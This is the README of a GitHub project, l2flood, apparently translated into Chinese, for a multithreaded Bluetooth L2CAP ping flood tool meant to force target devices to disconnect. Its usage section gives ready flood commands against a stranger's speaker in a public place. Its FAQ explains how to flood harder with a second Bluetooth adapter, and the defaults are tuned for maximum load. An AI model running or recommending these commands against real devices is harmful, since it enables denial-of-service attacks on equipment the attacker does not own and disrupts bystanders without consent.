kovmir/l2flood
GitHub: kovmir/l2flood
多线程蓝牙 L2CAP ping 泛洪工具,通过高并发请求迫使目标设备断开连接。
Stars: 104 | Forks: 14
# l2flood
[](https://builds.sr.ht/~kovmir/l2flood/commits/master/.build.yml?)
多线程版 [l2ping][1]。
通过向指定的蓝牙设备泛洪 ping 请求,强制其断开连接。
# 安装说明
先满足[依赖项](#dependencies),然后:
```
git clone https://git.sr.ht/~kovmir/l2flood
cd l2flood
make # Use `make serial` to build upstream l2ping.
sudo make install
```
# 使用说明
假设公共场所有一个嘈杂的蓝牙音箱,并且假设 `94:3a:2c:e1:2b:07` 是其地址。你可以这样将其关闭:
```
l2flood 94:3a:2c:e1:2b:07 # Flood with as much threads as there are CPU cores.
l2flood -n 50 94:3a:2c:e1:2b:07 # Flood with 50 threads.
```
性能较弱的音箱 CPU 无法同时处理如此大量的 ping 请求和音乐解码,因此它会断开连接。
请注意:
* 数据包之间的默认延迟已更改为 `0`。
* 默认数据包大小已增加到 `600`。
* [`l2ping` 选项][1] 有效。
* *你的蓝牙网卡是瓶颈:即使你拥有多核千兆赫兹 CPU,启动多达 1,000 个线程也没什么意义,因为你的蓝牙网卡不太可能足够快地处理所有请求,跟上你提交的速度。*
# 依赖项
* [Bluez][3]
* 在 Debian/Ubuntu/Kali 上执行 `sudo apt install -y libbluetooth-dev`。
# 支持的操作系统
* Linux
# 常见问题解答
**问:在 [termux][2] 中有效吗?**
答:无效,[termux][2] 中没有 [Bluez][3] 库。
**问:在 Steam Deck 上有效吗?**
答:有效。
**问:如何提高泛洪效率?**
答:获取第二块蓝牙网卡,并同时使用它们进行泛洪。
```
BT_ADDR='00:00:00:00:00:00' # Set the target address.
l2flood -i hci0 $BT_ADDR &
l2flood -i hci1 $BT_ADDR
```
**问:如何修复 `Can't create socket: Operation not permitted`?**
答:请以 `root` 用户身份重新运行。
标签:BlueZ, DoS工具, L2CAP, l2ping, Linux安全工具, 协议模糊测试, 客户端加密, 客户端加密, 拒绝服务, 无线干扰, 网络压力测试, 蓝牙劫持, 蓝牙攻击, 蓝牙泛洪, 蓝牙渗透测试, 资源耗尽攻击